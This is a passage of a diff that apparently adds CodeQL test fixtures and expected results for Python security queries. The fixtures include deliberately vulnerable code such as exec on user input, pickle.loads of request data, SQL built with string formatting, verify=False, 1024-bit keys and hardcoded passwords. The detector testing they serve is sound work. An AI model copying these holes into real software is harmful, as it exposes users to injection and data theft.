request.POST.get('name') + curs = connection.cursor() + #GOOD -- Using parameters + curs.execute( + "insert into names_file ('name') values ('%s')", name) + #BAD -- Using string formatting + curs.execute( + "insert into names_file ('name') values ('%s')" % name) + + #BAD -- other ways of executing raw SQL code with string interpolation + Name.objects.annotate(RawSQL("insert into names_file ('name') values ('%s')" % name)) + Name.objects.raw("insert into names_file ('name') values ('%s')" % name) + Name.objects.extra("insert into names_file ('name') values ('%s')" % name) + +urlpatterns = patterns(url(r'^save_name/$', + save_name, name='save_name')) + diff --git a/python/ql/test/query-tests/Security/CWE-094/CodeInjection.expected b/python/ql/test/query-tests/Security/CWE-094/CodeInjection.expected new file mode 100644 index 00000000000..8c621808c14 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-094/CodeInjection.expected @@ -0,0 +1,12 @@ +edges +| code_injection.py:4:20:4:26 | django.request.HttpRequest | code_injection.py:5:8:5:14 | django.request.HttpRequest | +| code_injection.py:4:20:4:26 | django.request.HttpRequest | code_injection.py:6:22:6:28 | django.request.HttpRequest | +| code_injection.py:6:22:6:28 | django.request.HttpRequest | code_injection.py:6:22:6:33 | django.http.request.QueryDict | +| code_injection.py:6:22:6:33 | django.http.request.QueryDict | code_injection.py:6:22:6:55 | externally controlled string | +| code_injection.py:6:22:6:55 | externally controlled string | code_injection.py:7:34:7:43 | externally controlled string | +| code_injection.py:7:34:7:43 | externally controlled string | ../lib/base64.py:1:18:1:18 | externally controlled string | +| code_injection.py:7:34:7:43 | externally controlled string | code_injection.py:7:14:7:44 | externally controlled string | +parents +| ../lib/base64.py:1:18:1:18 | externally controlled string | code_injection.py:7:34:7:43 | externally controlled string | +#select +| code_injection.py:7:14:7:44 | exec or eval | code_injection.py:4:20:4:26 | django.request.HttpRequest | code_injection.py:7:14:7:44 | externally controlled string | $@ flows to here and is interpreted as code. | code_injection.py:4:20:4:26 | Django request source | User-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-094/CodeInjection.qlref b/python/ql/test/query-tests/Security/CWE-094/CodeInjection.qlref new file mode 100644 index 00000000000..fe9adbf3b64 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-094/CodeInjection.qlref @@ -0,0 +1 @@ +Security/CWE-094/CodeInjection.ql diff --git a/python/ql/test/query-tests/Security/CWE-094/code_injection.py b/python/ql/test/query-tests/Security/CWE-094/code_injection.py new file mode 100644 index 00000000000..2633f55cbdb --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-094/code_injection.py @@ -0,0 +1,12 @@ +from django.conf.urls import url +import base64 + +def code_execution(request): + if request.method == 'POST': + first_name = request.POST.get('first_name', '') + exec(base64.decodestring(first_name)) + +urlpatterns = [ + # Route to code_execution + url(r'^code-ex$', code_execution, name='code-execution') +] diff --git a/python/ql/test/query-tests/Security/CWE-094/options b/python/ql/test/query-tests/Security/CWE-094/options new file mode 100644 index 00000000000..dce78f52325 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-094/options @@ -0,0 +1,2 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 +optimize: true diff --git a/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected b/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected new file mode 100644 index 00000000000..cbdfa9c8d46 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected @@ -0,0 +1,13 @@ +edges +| test.py:33:15:33:36 | exception info | test.py:34:29:34:31 | exception info | +| test.py:34:29:34:31 | exception info | test.py:36:18:36:20 | exception info | +| test.py:36:18:36:20 | exception info | test.py:37:25:37:27 | exception info | +| test.py:37:12:37:27 | exception info | test.py:34:16:34:32 | exception info | +| test.py:37:25:37:27 | exception info | test.py:37:12:37:27 | exception info | +parents +| test.py:36:18:36:20 | exception info | test.py:34:29:34:31 | exception info | +| test.py:37:12:37:27 | exception info | test.py:34:29:34:31 | exception info | +| test.py:37:25:37:27 | exception info | test.py:34:29:34:31 | exception info | +#select +| test.py:16:16:16:37 | flask.routed.response | test.py:16:16:16:37 | exception info | test.py:16:16:16:37 | exception info | $@ may be exposed to an external user | test.py:16:16:16:37 | exception.info.source | Error information | +| test.py:34:16:34:32 | flask.routed.response | test.py:33:15:33:36 | exception info | test.py:34:16:34:32 | exception info | $@ may be exposed to an external user | test.py:33:15:33:36 | exception.info.source | Error information | diff --git a/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref b/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref new file mode 100644 index 00000000000..18cf2d49a1a --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref @@ -0,0 +1 @@ +Security/CWE-209/StackTraceExposure.ql diff --git a/python/ql/test/query-tests/Security/CWE-209/options b/python/ql/test/query-tests/Security/CWE-209/options new file mode 100644 index 00000000000..2729d5a143a --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-209/options @@ -0,0 +1 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=2 diff --git a/python/ql/test/query-tests/Security/CWE-209/test.py b/python/ql/test/query-tests/Security/CWE-209/test.py new file mode 100644 index 00000000000..6e96cba15c5 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-209/test.py @@ -0,0 +1,37 @@ +from flask import Flask +app = Flask(__name__) + + +import traceback + +def do_computation(): + raise Exception("Secret info") + +# BAD +@app.route('/bad') +def server_bad(): + try: + do_computation() + except Exception as e: + return traceback.format_exc() + +# GOOD +@app.route('/good') +def server_good(): + try: + do_computation() + except Exception as e: + log(traceback.format_exc()) + return "An internal error has occurred!" + +#BAD +@app.route('/bad/with-flow') +def server_bad_flow(): + try: + do_computation() + except Exception as e: + err = traceback.format_exc() + return format_error(err) + +def format_error(msg): + return "[ERROR] " + msg diff --git a/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.expected b/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.expected new file mode 100644 index 00000000000..3a23ea54ee2 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.expected @@ -0,0 +1,3 @@ +| test.py:10:1:10:19 | ControlFlowNode for Attribute() | A Flask app appears to be run in debug mode. This may allow an attacker to run arbitrary code through the debugger. | +| test.py:25:1:25:20 | ControlFlowNode for Attribute() | A Flask app appears to be run in debug mode. This may allow an attacker to run arbitrary code through the debugger. | +| test.py:29:1:29:20 | ControlFlowNode for Attribute() | A Flask app appears to be run in debug mode. This may allow an attacker to run arbitrary code through the debugger. | diff --git a/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.qlref b/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.qlref new file mode 100644 index 00000000000..0e21a3ac14f --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-215/FlaskDebug.qlref @@ -0,0 +1 @@ +Security/CWE-215/FlaskDebug.ql diff --git a/python/ql/test/query-tests/Security/CWE-215/options b/python/ql/test/query-tests/Security/CWE-215/options new file mode 100644 index 00000000000..84717fe64cf --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-215/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 -p ../lib diff --git a/python/ql/test/query-tests/Security/CWE-215/test.py b/python/ql/test/query-tests/Security/CWE-215/test.py new file mode 100644 index 00000000000..6054caf1d33 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-215/test.py @@ -0,0 +1,37 @@ +from flask import Flask + +app = Flask(__name__) + +@app.route('/crash') +def main(): + raise Exception() + +# bad +app.run(debug=True) + +# okay +app.run() +app.run(debug=False) + +# also okay +run(debug=True) + +app.notrun(debug=True) + +# a slightly more involved example using flow and truthy values + +DEBUG = True + +app.run(debug=DEBUG) + +DEBUG = 1 + +app.run(debug=DEBUG) + +if False: + app.run(debug=True) + +# false negative + +runapp = app.run +runapp(debug=True) diff --git a/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.expected b/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.expected new file mode 100644 index 00000000000..5406d5a9b0b --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.expected @@ -0,0 +1,5 @@ +| make_request.py:5:1:5:48 | ControlFlowNode for Attribute() | Call to $@ with verify=$@ | ../lib/requests.py:2:1:2:36 | Function get | requests.get | make_request.py:5:43:5:47 | ControlFlowNode for False | False | +| make_request.py:7:1:7:49 | ControlFlowNode for Attribute() | Call to $@ with verify=$@ | ../lib/requests.py:11:1:11:46 | Function post | requests.post | make_request.py:7:44:7:48 | ControlFlowNode for False | False | +| make_request.py:12:1:12:39 | ControlFlowNode for put() | Call to $@ with verify=$@ | ../lib/requests.py:14:1:14:34 | Function put | requests.put | make_request.py:12:34:12:38 | ControlFlowNode for False | False | +| make_request.py:28:5:28:46 | ControlFlowNode for patch() | Call to $@ with verify=$@ | ../lib/requests.py:17:1:17:36 | Function patch | requests.patch | make_request.py:30:6:30:10 | ControlFlowNode for False | False | +| make_request.py:34:1:34:45 | ControlFlowNode for Attribute() | Call to $@ with verify=$@ | ../lib/requests.py:11:1:11:46 | Function post | requests.post | make_request.py:34:44:34:44 | ControlFlowNode for IntegerLiteral | False | diff --git a/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.qlref b/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.qlref new file mode 100644 index 00000000000..7ad4d4d2ae3 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-295/RequestWithoutValidation.qlref @@ -0,0 +1 @@ +Security/CWE-295/RequestWithoutValidation.ql diff --git a/python/ql/test/query-tests/Security/CWE-295/make_request.py b/python/ql/test/query-tests/Security/CWE-295/make_request.py new file mode 100644 index 00000000000..9d732713dbf --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-295/make_request.py @@ -0,0 +1,34 @@ +import requests + +#Simple cases +requests.get('https://semmle.com', verify=True) # GOOD +requests.get('https://semmle.com', verify=False) # BAD +requests.post('https://semmle.com', verify=True) # GOOD +requests.post('https://semmle.com', verify=False) # BAD + +# Simple flow +put = requests.put +put('https://semmle.com', verify="/path/to/cert/") # GOOD +put('https://semmle.com', verify=False) # BAD + +#Other flow +delete = requests.delete + +def req1(verify=False): + delete('https://semmle.com', verify) # BAD + if verify: + delete('https://semmle.com', verify) # GOOD + if not verify: + return + delete('https://semmle.com', verify) # GOOD + +patch = requests.patch + +def req2(verify): + patch('https://semmle.com', verify=verify) # BAD (from line 30) + +req2(False) # BAD (at line 28) +req2("/path/to/cert/") # GOOD + +#Falsey value +requests.post('https://semmle.com', verify=0) # BAD diff --git a/python/ql/test/query-tests/Security/CWE-295/options b/python/ql/test/query-tests/Security/CWE-295/options new file mode 100644 index 00000000000..492768b3481 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-295/options @@ -0,0 +1 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 diff --git a/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.expected b/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.expected new file mode 100644 index 00000000000..447b1d9c4aa --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.expected @@ -0,0 +1,5 @@ +| weak_crypto.py:67:1:67:30 | ControlFlowNode for dsa_gen_key() | Creation of an DSA key uses $@ bits, which is below 2048 and considered breakable. | weak_crypto.py:12:12:12:15 | ControlFlowNode for IntegerLiteral | 1024 | +| weak_crypto.py:68:1:68:28 | ControlFlowNode for ec_gen_key() | Creation of an ECC key uses $@ bits, which is below 224 and considered breakable. | weak_crypto.py:21:11:21:33 | ControlFlowNode for FakeWeakEllipticCurve() | 160 | +| weak_crypto.py:69:1:69:37 | ControlFlowNode for rsa_gen_key() | Creation of an RSA key uses $@ bits, which is below 2048 and considered breakable. | weak_crypto.py:12:12:12:15 | ControlFlowNode for IntegerLiteral | 1024 | +| weak_crypto.py:71:1:71:22 | ControlFlowNode for Attribute() | Creation of an DSA key uses $@ bits, which is below 2048 and considered breakable. | weak_crypto.py:12:12:12:15 | ControlFlowNode for IntegerLiteral | 1024 | +| weak_crypto.py:72:1:72:22 | ControlFlowNode for Attribute() | Creation of an RSA key uses $@ bits, which is below 2048 and considered breakable. | weak_crypto.py:12:12:12:15 | ControlFlowNode for IntegerLiteral | 1024 | diff --git a/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.qlref b/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.qlref new file mode 100644 index 00000000000..75676139ac3 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-326/WeakCrypto.qlref @@ -0,0 +1 @@ +Security/CWE-326/WeakCrypto.ql diff --git a/python/ql/test/query-tests/Security/CWE-326/options b/python/ql/test/query-tests/Security/CWE-326/options new file mode 100644 index 00000000000..dce78f52325 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-326/options @@ -0,0 +1,2 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 +optimize: true diff --git a/python/ql/test/query-tests/Security/CWE-326/weak_crypto.py b/python/ql/test/query-tests/Security/CWE-326/weak_crypto.py new file mode 100644 index 00000000000..bc5ea46baad --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-326/weak_crypto.py @@ -0,0 +1,73 @@ +from cryptography.hazmat import backends +from cryptography.hazmat.primitives.asymmetric import ec, dsa, rsa + +#Crypto and Cryptodome have same API +if random(): + from Crypto.PublicKey import DSA + from Crypto.PublicKey import RSA +else: + from Cryptodome.PublicKey import DSA + from Cryptodome.PublicKey import RSA + +RSA_WEAK = 1024 +RSA_OK = 2048 +RSA_STRONG = 3076 +BIG = 10000 + +class FakeWeakEllipticCurve: + name = "fake" + key_size = 160 + +EC_WEAK = FakeWeakEllipticCurve() +EC_OK = ec.SECP224R1() +EC_STRONG = ec.SECP384R1() +EC_BIG = ec.SECT571R1() + +dsa_gen_key = dsa.generate_private_key +ec_gen_key = ec.generate_private_key +rsa_gen_key = rsa.generate_private_key + +default = backends.default_backend() + +#Strong and OK keys. + +dsa_gen_key(key_size=RSA_OK, backend=default) +dsa_gen_key(key_size=RSA_STRONG, backend=default) +dsa_gen_key(key_size=BIG, backend=default) +ec_gen_key(key_size=EC_OK, backend=default) +ec_gen_key(key_size=EC_STRONG, backend=default) +ec_gen_key(key_size=EC_BIG, backend=default) +rsa_gen_key(public_exponent=65537, key_size=RSA_OK, backend=default) +rsa_gen_key(public_exponent=65537, key_size=RSA_STRONG, backend=default) +rsa_gen_key(public_exponent=65537, key_size=BIG, backend=default) + +DSA.generate(bits=RSA_OK) +DSA.generate(bits=RSA_STRONG) +RSA.generate(bits=RSA_OK) +RSA.generate(bits=RSA_STRONG) + +dsa_gen_key(RSA_OK, default) +dsa_gen_key(RSA_STRONG, default) +dsa_gen_key(BIG, default) +ec_gen_key(EC_OK, default) +ec_gen_key(EC_STRONG, default) +ec_gen_key(EC_BIG, default) +rsa_gen_key(65537, RSA_OK, default) +rsa_gen_key(65537, RSA_STRONG, default) +rsa_gen_key(65537, BIG, default) + +DSA.generate(RSA_OK) +DSA.generate(RSA_STRONG) +RSA.generate(RSA_OK) +RSA.generate(RSA_STRONG) + + +# Weak keys + +dsa_gen_key(RSA_WEAK, default) +ec_gen_key(EC_WEAK, default) +rsa_gen_key(65537, RSA_WEAK, default) + +DSA.generate(RSA_WEAK) +RSA.generate(RSA_WEAK) + diff --git a/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected b/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected new file mode 100644 index 00000000000..9fb4ed3ed5d --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected @@ -0,0 +1,2 @@ +| test_cryptography.py:7:29:7:37 | Use of weak crypto algorithm | Sensitive data from $@ is used in a broken or weak cryptographic algorithm. | test_cryptography.py:4:17:4:30 | sensitive.data.source | sensitive.data.source | +| test_pycrypto.py:6:27:6:35 | Use of weak crypto algorithm ARC4 | Sensitive data from $@ is used in a broken or weak cryptographic algorithm. | test_pycrypto.py:4:17:4:30 | sensitive.data.source | sensitive.data.source | diff --git a/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref b/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref new file mode 100644 index 00000000000..3f7aff53700 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref @@ -0,0 +1 @@ +Security/CWE-327/BrokenCryptoAlgorithm.ql diff --git a/python/ql/test/query-tests/Security/CWE-327/TestNode.expected b/python/ql/test/query-tests/Security/CWE-327/TestNode.expected new file mode 100644 index 00000000000..0a184314a93 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/TestNode.expected @@ -0,0 +1,14 @@ +| Taint Crypto.Cipher.ARC4 | test_pycrypto.py:5:14:5:27 | test_pycrypto.py:5 | test_pycrypto.py:5:14:5:27 | Attribute() | | +| Taint Crypto.Cipher.ARC4 | test_pycrypto.py:6:12:6:17 | test_pycrypto.py:6 | test_pycrypto.py:6:12:6:17 | cipher | | +| Taint cryptography.Cipher.RC4 | test_cryptography.py:5:14:5:47 | test_cryptography.py:5 | test_cryptography.py:5:14:5:47 | Cipher() | | +| Taint cryptography.Cipher.RC4 | test_cryptography.py:6:17:6:22 | test_cryptography.py:6 | test_cryptography.py:6:17:6:22 | cipher | | +| Taint cryptography.encryptor.RC4 | test_cryptography.py:6:17:6:34 | test_cryptography.py:6 | test_cryptography.py:6:17:6:34 | Attribute() | | +| Taint cryptography.encryptor.RC4 | test_cryptography.py:7:12:7:20 | test_cryptography.py:7 | test_cryptography.py:7:12:7:20 | encryptor | | +| Taint cryptography.encryptor.RC4 | test_cryptography.py:7:42:7:50 | test_cryptography.py:7 | test_cryptography.py:7:42:7:50 | encryptor | | +| Taint sensitive.data | test_cryptography.py:4:17:4:28 | test_cryptography.py:4 | test_cryptography.py:4:17:4:28 | get_password | | +| Taint sensitive.data | test_cryptography.py:4:17:4:30 | test_cryptography.py:4 | test_cryptography.py:4:17:4:30 | get_password() | | +| Taint sensitive.data | test_cryptography.py:7:29:7:37 | test_cryptography.py:7 | test_cryptography.py:7:29:7:37 | dangerous | | +| Taint sensitive.data | test_cryptography.py:7:42:7:50 | test_cryptography.py:7 | test_cryptography.py:7:42:7:50 | encryptor | | +| Taint sensitive.data | test_pycrypto.py:4:17:4:28 | test_pycrypto.py:4 | test_pycrypto.py:4:17:4:28 | get_password | | +| Taint sensitive.data | test_pycrypto.py:4:17:4:30 | test_pycrypto.py:4 | test_pycrypto.py:4:17:4:30 | get_password() | | +| Taint sensitive.data | test_pycrypto.py:6:27:6:35 | test_pycrypto.py:6 | test_pycrypto.py:6:27:6:35 | dangerous | | diff --git a/python/ql/test/query-tests/Security/CWE-327/TestNode.ql b/python/ql/test/query-tests/Security/CWE-327/TestNode.ql new file mode 100644 index 00000000000..71ec310dd39 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/TestNode.ql @@ -0,0 +1,9 @@ +import python +import semmle.python.security.TaintTracking + +import python +import semmle.python.security.SensitiveData +import semmle.python.security.Crypto + +from TaintedNode n +select n.getTrackedValue(), n.getLocation(), n.getNode().getNode(), n.getContext() diff --git a/python/ql/test/query-tests/Security/CWE-327/options b/python/ql/test/query-tests/Security/CWE-327/options new file mode 100644 index 00000000000..492768b3481 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/options @@ -0,0 +1 @@ +semmle-extractor-options: -p ../lib/ --max-import-depth=3 diff --git a/python/ql/test/query-tests/Security/CWE-327/test_cryptography.py b/python/ql/test/query-tests/Security/CWE-327/test_cryptography.py new file mode 100644 index 00000000000..37baa1d1a80 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/test_cryptography.py @@ -0,0 +1,8 @@ +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms + +def get_badly_encrypted_password(): + dangerous = get_password() + cipher = Cipher(algorithms.ARC4(key), _, _) + encryptor = cipher.encryptor() + return encryptor.update(dangerous) + encryptor.finalize() + diff --git a/python/ql/test/query-tests/Security/CWE-327/test_pycrypto.py b/python/ql/test/query-tests/Security/CWE-327/test_pycrypto.py new file mode 100644 index 00000000000..49f910f1af8 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-327/test_pycrypto.py @@ -0,0 +1,7 @@ +from Crypto.Cipher import ARC4 + +def get_badly_encrypted_password(): + dangerous = get_password() + cipher = ARC4.new(_, _) + return cipher.encrypt(dangerous) + diff --git a/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.expected b/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.expected new file mode 100644 index 00000000000..79dee42edb4 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.expected @@ -0,0 +1,12 @@ +edges +| test.py:11:15:11:26 | dict of externally controlled string | test.py:11:15:11:41 | externally controlled string | +| test.py:11:15:11:41 | externally controlled string | test.py:12:18:12:24 | externally controlled string | +| test.py:11:15:11:41 | externally controlled string | test.py:13:15:13:21 | externally controlled string | +| test.py:11:15:11:41 | externally controlled string | test.py:14:19:14:25 | externally controlled string | +| test.py:13:15:13:21 | externally controlled string | ../lib/yaml.py:1:10:1:10 | externally controlled string | +parents +| ../lib/yaml.py:1:10:1:10 | externally controlled string | test.py:13:15:13:21 | externally controlled string | +#select +| test.py:12:18:12:24 | unpickling untrusted data | test.py:11:15:11:26 | dict of externally controlled string | test.py:12:18:12:24 | externally controlled string | Deserializing of $@. | test.py:11:15:11:26 | flask.request.args | untrusted input | +| test.py:13:15:13:21 | yaml.load vulnerability | test.py:11:15:11:26 | dict of externally controlled string | test.py:13:15:13:21 | externally controlled string | Deserializing of $@. | test.py:11:15:11:26 | flask.request.args | untrusted input | +| test.py:14:19:14:25 | unmarshaling vulnerability | test.py:11:15:11:26 | dict of externally controlled string | test.py:14:19:14:25 | externally controlled string | Deserializing of $@. | test.py:11:15:11:26 | flask.request.args | untrusted input | diff --git a/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref b/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref new file mode 100644 index 00000000000..fa9c0ceb3cb --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-502/UnsafeDeserialization.qlref @@ -0,0 +1 @@ +Security/CWE-502/UnsafeDeserialization.ql diff --git a/python/ql/test/query-tests/Security/CWE-502/options b/python/ql/test/query-tests/Security/CWE-502/options new file mode 100644 index 00000000000..b63c517ee29 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-502/options @@ -0,0 +1,2 @@ +semmle-extractor-options: --max-import-depth=2 -p ../lib +optimize: true diff --git a/python/ql/test/query-tests/Security/CWE-502/test.py b/python/ql/test/query-tests/Security/CWE-502/test.py new file mode 100644 index 00000000000..27a003136c0 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-502/test.py @@ -0,0 +1,16 @@ +import flask +import pickle +import yaml +import marshal + +from flask import Flask, request +app = Flask(__name__) + +@app.route("/") +def hello(): + payload = request.args.get('payload') + pickle.loads(payload) + yaml.load(payload) + marshal.loads(payload) + + diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected new file mode 100644 index 00000000000..5de71ec5ee5 --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected @@ -0,0 +1,10 @@ +edges +| test.py:7:22:7:33 | dict of externally controlled string | test.py:7:22:7:51 | externally controlled string | +| test.py:7:22:7:51 | externally controlled string | test.py:8:21:8:26 | externally controlled string | +| test.py:8:21:8:26 | externally controlled string | ../lib/flask/__init__.py:11:14:11:21 | externally controlled string | +| test.py:15:17:15:28 | dict of externally controlled string | test.py:15:17:15:42 | externally controlled string | +| test.py:15:17:15:42 | externally controlled string | test.py:17:13:17:21 | externally controlled string | +parents +| ../lib/flask/__init__.py:11:14:11:21 | externally controlled string | test.py:8:21:8:26 | externally controlled string | +#select +| test.py:8:21:8:26 | flask.redirect | test.py:7:22:7:33 | dict of externally controlled string | test.py:8:21:8:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:7:22:7:33 | flask.request.args | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.qlref b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.qlref new file mode 100644 index 00000000000..8b63d80f0db --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.qlref @@ -0,0 +1,2 @@ +Security/CWE-601/UrlRedirect.ql + diff --git a/python/ql/test/query-tests/Security/CWE-601/options b/python/ql/test/query-tests/Security/CWE-601/options new file mode 100644 index 00000000000..84717fe64cf --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-601/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 -p ../lib diff --git a/python/ql/test/query-tests/Security/CWE-601/test.py b/python/ql/test/query-tests/Security/CWE-601/test.py new file mode 100644 index 00000000000..34ad352db0e --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-601/test.py @@ -0,0 +1,18 @@ +from flask import Flask, request, redirect + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = files = request.args.get('target', '') + return redirect(target, code=302) + + +#Check for safe prefixes + +@app.route('/ok') +def ok(): + untrusted = request.args.get('ok', '') + safe = "safe" + safe += untrusted + return redirect(safe, code=302) diff --git a/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected b/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected new file mode 100644 index 00000000000..d90e739799b --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.expected @@ -0,0 +1,2 @@ +| test.py:14:18:14:25 | Taint sink | Use of hardcoded credentials from $@. | test.py:5:12:5:24 | Taint source | Taint source | +| test.py:15:18:15:25 | Taint sink | Use of hardcoded credentials from $@. | test.py:6:12:6:25 | Taint source | Taint source | diff --git a/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref b/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref new file mode 100644 index 00000000000..0d0fafa271c --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref @@ -0,0 +1 @@ +Security/CWE-798/HardcodedCredentials.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/CWE-798/test.py b/python/ql/test/query-tests/Security/CWE-798/test.py new file mode 100644 index 00000000000..bcfb1feee4c --- /dev/null +++ b/python/ql/test/query-tests/Security/CWE-798/test.py @@ -0,0 +1,19 @@ + + +HOST = "acme-trading.com" +PORT = 8000 +USERNAME = "road_runner" +PASSWORD = "insecure_pwd" + + +def sell(client, units): + + conn = client.connect( + host=HOST, + port=PORT, + username=USERNAME, + password=PASSWORD) + + conn.cmd("sell", 1000) + conn.close() + diff --git a/python/ql/test/query-tests/Security/lib/Crypto/Cipher/AES.py b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/AES.py new file mode 100644 index 00000000000..bcab58405ea --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/AES.py @@ -0,0 +1,3 @@ + +def new(*args): + pass diff --git a/python/ql/test/query-tests/Security/lib/Crypto/Cipher/ARC4.py b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/ARC4.py new file mode 100644 index 00000000000..bcab58405ea --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/ARC4.py @@ -0,0 +1,3 @@ + +def new(*args): + pass diff --git a/python/ql/test/query-tests/Security/lib/Crypto/Cipher/__init__.py b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/__init__.py new file mode 100644 index 00000000000..ab22f65be6e --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/Crypto/Cipher/__init__.py @@ -0,0 +1 @@ +__all__ = ['AES', 'ARC4'] diff --git a/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/DSA.py b/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/DSA.py new file mode 100644 index 00000000000..e002a77697e --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/DSA.py @@ -0,0 +1,2 @@ +def generate(bits): + pass diff --git a/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/RSA.py b/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/RSA.py new file mode 100644 index 00000000000..e002a77697e --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/RSA.py @@ -0,0 +1,2 @@ +def generate(bits): + pass diff --git a/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/__init__.py b/python/ql/test/query-tests/Security/lib/Crypto/PublicKey/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/Crypto/__init__.py b/python/ql/test/query-tests/Security/lib/Crypto/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/base64.py b/python/ql/test/query-tests/Security/lib/base64.py new file mode 100644 index 00000000000..a2b97ca63ac --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/base64.py @@ -0,0 +1,2 @@ +def decodestring(s): + return None diff --git a/python/ql/test/query-tests/Security/lib/cryptography/__init__.py b/python/ql/test/query-tests/Security/lib/cryptography/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/__init__.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/__init__.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/__init__.py new file mode 100644 index 